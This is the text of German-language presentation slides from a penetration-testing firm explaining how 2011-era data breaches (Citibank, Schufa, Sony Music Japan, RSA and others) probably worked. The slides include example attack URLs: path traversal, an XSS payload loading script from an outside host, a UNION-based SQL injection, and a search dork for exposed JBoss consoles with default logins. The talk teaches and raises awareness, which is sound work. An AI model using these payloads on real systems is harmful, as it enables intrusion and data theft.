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RedTeam Pentesting, Daten & Fakten
Über den Vortrag
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RedTeam Pentesting, Daten & Fakten

F Gegründet 2004 in Aachen

F Spezialisierung ausschließlich auf
Penetrationstests

F Weltweite Durchführung von
Penetrationstests

F Forschung im Bereich der IT-Sicherheit
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Über den Vortrag

Kein Tag ohne neue Nachrichten über Hacker und Datendiebstahl
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RedTeam Pentesting, Daten & Fakten
Über den Vortrag
Qualifikation

Über den Vortrag

F Oft wird in den Medien aus Unwissenheit Ungenaues oder
Falsches berichtet

F Oder es werden gar keine Details genannt

F Fragestellung: Wie funktioniert sowas eigentlich wirklich?

F Ziel: Hintergrundwissen vermitteln, Angriffsszenarien
verstehen lernen

F Seien Sie interaktiv ⇒ Workshop
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RedTeam Pentesting, Daten & Fakten
Über den Vortrag
Qualifikation

Unsere Qualifikation

Was qualifiziert RedTeam Pentesting, über
dieses Thema zu reden?

F Wir brechen jeden Tag im Auftrag
unserer Kunden in deren Netzwerke und
Applikationen ein

F Wir benutzen dieselben Methoden,
welche auch die

”
Bösen“ verwenden
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RedTeam Pentesting, Daten & Fakten
Über den Vortrag
Qualifikation

Realitätsnahe Beispiele

F Wir kennen auch nicht unbedingt mehr Details als die Medien

F Aber: Wir wissen, wie Angriffe grundsätzlich funktionieren

F Wir können im Zweifelsfall aus den wenigen Details schließen,
wie es wahrscheinlich war

F Die meisten Beispiele in diesem Vortrag zeigen, wie Angriffe
generell funktioniert haben könnten
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Webapplikationen
Schlecht gewartete Software

Fazit

Menschliches Versehen
Spear-Phishing

Acer → Menschliches Versehen

http://heise.de/-1255770
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Menschliches Versehen
Spear-Phishing

Acer → Menschliches Versehen

FTP-Anmeldedaten wurden bereits 2008 veröffentlicht

http://www.thehackernews.com/2011/06/thn-report-acer-hacked-because-of-their.html
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Menschliches Versehen
Spear-Phishing

GMail → Spear-Phishing

http://www.washingtonpost.com/blogs/post-tech/post/2011/06/01/AGgASgGH blog.html
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Webapplikationen
Schlecht gewartete Software

Fazit

Menschliches Versehen
Spear-Phishing

GMail → Spear-Phishing

http://contagiodump.blogspot.com/2011/02/targeted-attacks-against-personal.html
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Menschliches Versehen
Spear-Phishing

GMail → Spear-Phishing

View- und Download-Link geht auf gefälschte
GMail-Login-Webseite:

http://google-mail.dyndns.org/accounts/

ServiceLoginservice=mail&passive=true

&rm=false&continue=bsv=1grm8snv3

&ss=1&scc=1&ltmpl=default&ltmplcache=2/

ServiceLoginAuth.php

?u=VictimGmailID

⇒ Demo
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Menschliches Versehen
Spear-Phishing

gefälschte GMail-Webseite
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URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

Citibank → URL-Manipulation

http://heise.de/-1260559

http://heise.de/-1268108
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URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

Citibank → URL-Manipulation

So oder ähnlich kann es funktioniert haben:

1 Anmelden als normaler Citibank-Kunde

2 https://online.citibank.com?account=123456

3 https://online.citibank.com?account=123457

4 Automatisiert hochzählen und Rückgabe auswerten ⇒ fertig
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URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

Schufa → Local-File-Inclusion

http://www.secalert.net/post.php?id=15
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Schufa → Local-File-Inclusion

So oder ähnlich kann es funktioniert haben:

https://www.meineschufa.de/download.php

?file=SCHUFA Broschuere-Produktueberblick.pdf

https://www.meineschufa.de/download.php

?file=../../download.php

⇒ Demo
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So oder ähnlich kann es funktioniert haben:

https://www.meineschufa.de/download.php

?file=SCHUFA Broschuere-Produktueberblick.pdf

https://www.meineschufa.de/download.php

?file=../../download.php

⇒ Demo

Patrick Hof - RedTeam Pentesting GmbH Datendiebstahl und wie er grundsätzlich funktioniert



Einleitung
Sicherheitslücke Mensch
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URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

Beispiel-LFI Damn Vulnerable Web App
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URL-Manipulation
Local-File-Inclusion
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Cross-Site-Scripting

http://news.netcraft.com/archives/2008/01/08/italian banks xss opportunity seized by fraudsters.html
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Webapplikationen
Schlecht gewartete Software
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URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

netzwerk recherche → Cross-Site-Scripting

⇒ Demo: netzwerk recherche-Webseite
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URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

netzwerk recherche → Cross-Site-Scripting

Original-URL mit Suche nach dem Wort test

http://www.netzwerkrecherche.de/index.php

?article_id=209

&clang=0

&rexsearch=test

&submit=OK
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URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

netzwerk recherche → Cross-Site-Scripting

Cross-Site-Scripting erste Test-URL

http://www.netzwerkrecherche.de/index.php

?article_id=209

&clang=0

&rexsearch="><script>

alert(/RedTeam Pentesting/)

</script><span id="

&submit=OK
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URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
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netzwerk recherche → Cross-Site-Scripting

Cross-Site-Scripting-URL

http://www.netzwerkrecherche.de/index.php

?article_id=209

&clang=0

&rexsearch="><script

src=http://d-foto.redteam-pentesting.de:8888

/xss/js/rt.js>

</script><span id="

&submit=OK
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URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

netzwerk recherche → Cross-Site-Scripting

Cross-Site-Scripting-URL kodiert

http://www.netzwerkrecherche.de/index.php

?article_id=209

&clang=0

&rexsearch=%22%3E%3Cscript

+src%3Dhttp%3A%2F%2Fd-foto.redteam-pentesting.de%3A8888

%2Fxss%2Fjs%2Frt.js%3E

%3C%2Fscript%3E%3Cspan+id%3D%22

&submit=OK
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URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

netzwerk recherche → Cross-Site-Scripting

Cross-Site-Scripting-URL verkürzt mit URL-Shortener

http://bit.ly/lMtbE7
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URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

netzwerk recherche → Cross-Site-Scripting

http://www.netzwerk-recherche.de
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URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

Sony Music Japan → SQL-Injection

http://nakedsecurity.sophos.com/2011/05/24/sony-music-japan-hacked-through-sql-injection-flaw/
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Sony Music Japan → SQL-Injection

http://twitter.com/LulzSec/status/72824915849523201
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URL-Manipulation
Local-File-Inclusion
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Sony Music Japan → SQL-Injection

http://pastebin.com/NyEFLbyX
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URL-Manipulation
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Sony Music Japan → SQL-Injection

So oder ähnlich kann es funktioniert haben:

Normaler Aufruf:

http://www.sonymusic.co.jp/bv/cro-magnons/track.php?item=7419

SELECT name FROM items WHERE id=’7419’

⇒ Demo mit komplexeren Beispielen
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Sony Music Japan → SQL-Injection

So oder ähnlich kann es funktioniert haben:

Normaler Aufruf:

http://www.sonymusic.co.jp/bv/cro-magnons/track.php?item=7419

SELECT name FROM items WHERE id=’7419’

SQL-Injection, welche die Datenbankversion ausliest:

http://www.sonymusic.co.jp/bv/cro-magnons/track.php

?item=7419’+UNION+SELECT+@@version;--+

SELECT name FROM items WHERE id=’7419’ UNION SELECT

@@version;-- ’

⇒ Demo mit komplexeren Beispielen
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Sony Music Japan → SQL-Injection

So oder ähnlich kann es funktioniert haben:

Normaler Aufruf:

http://www.sonymusic.co.jp/bv/cro-magnons/track.php?item=7419

SELECT name FROM items WHERE id=’7419’

SQL-Injection, welche die Datenbankversion ausliest:

http://www.sonymusic.co.jp/bv/cro-magnons/track.php

?item=7419’+UNION+SELECT+@@version;--+

SELECT name FROM items WHERE id=’7419’ UNION SELECT

@@version;-- ’

⇒ Demo mit komplexeren Beispielen
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URL-Manipulation
Local-File-Inclusion
Cross-Site-Scripting
SQL-Injection

Beispiel-SQL-Injection Damn Vulnerable Web App
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Flashplayer-Sicherheitslücke

”
Vergessene“ Administrationsschnittstellen

RSA → Malware über Flashplayer-Sicherheitslücke

http://heise.de/-1220792
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Flashplayer-Sicherheitslücke

”
Vergessene“ Administrationsschnittstellen

RSA → Malware über Flashplayer-Sicherheitslücke

F RSA SecurID Tokens

F Generieren alle x Sekunden einen
neuen Code

F Synchronisiert mit Authentication
Server

⇒ Angreifer muss wissen, was aktuell
auf dem Display steht

SecurID SID800 Token
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Flashplayer-Sicherheitslücke

”
Vergessene“ Administrationsschnittstellen

RSA → Malware über Flashplayer-Sicherheitslücke

Ablauf des Angriffs

F Angreifer senden Phishing-Mail an ausgewählte Mitarbeiter

F Anhang enthält Datei
”
2011 Recruitment plan.xls“

F Excel-Datei bettet Flash-Datei mit Exploit ein

F Dieser nutzt bisher unbekannte (0day) Sicherheitslücke im
Flash Player aus, um Fernsteuerungssoftware zu installieren

F Angreifer nutzen im internen Netzwerk weitere Schwachstellen
aus, um an Seeds und Algorithmen für die Tokens zu gelangen

⇒ Codes können von den Angreifern ohne Token berechnet werden
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Flashplayer-Sicherheitslücke

”
Vergessene“ Administrationsschnittstellen

ca. zwei Monate später → Einbruch bei Lockheed Martin

http://www.reuters.com/article/2011/05/27/us-usa-defense-hackers-idUSTRE74Q6VY20110527
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Flashplayer-Sicherheitslücke

”
Vergessene“ Administrationsschnittstellen

”
Vergessene“ Administrationsschnittstellen

F Vom Internet zugreifbare
Adminstrationsschnittstellen

F Vielfach trivial auffindbar über
Suchmaschinen

F Da
”
vergessen“: oft Standardlogins (z.B.

admin/admin)

F Beispiel: JBoss Application Server
JMX-Console

⇒ Demo

Patrick Hof - RedTeam Pentesting GmbH Datendiebstahl und wie er grundsätzlich funktioniert



Einleitung
Sicherheitslücke Mensch
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F Vielfach trivial auffindbar über
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F Da
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vergessen“: oft Standardlogins (z.B.

admin/admin)

F Beispiel: JBoss Application Server
JMX-Console

⇒ Demo

Patrick Hof - RedTeam Pentesting GmbH Datendiebstahl und wie er grundsätzlich funktioniert



Einleitung
Sicherheitslücke Mensch
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Flashplayer-Sicherheitslücke

”
Vergessene“ Administrationsschnittstellen

”
Vergessene“ Administrationsschnittstellen

http://www.google.de/search?q=%22JMX+Agent+View%22+inurl%3Ajmx-console
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Fazit

F Datendiebstahl /
”
Hacking“ ist oft einfacher als man denkt

F Sicherheitslücken ergeben sich vielfach aus menschlichen
Fehlern

F Nur weil die gestohlenen Daten aktuell noch nicht missbraucht
wurden, heißt dies nicht, dass es nicht in Zukunft geschieht

F Es gibt noch viel zu tun in der IT-Sicherheit
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Fragen?

Vielen Dank für Ihre
Aufmerksamkeit

—
Freie Diskussion
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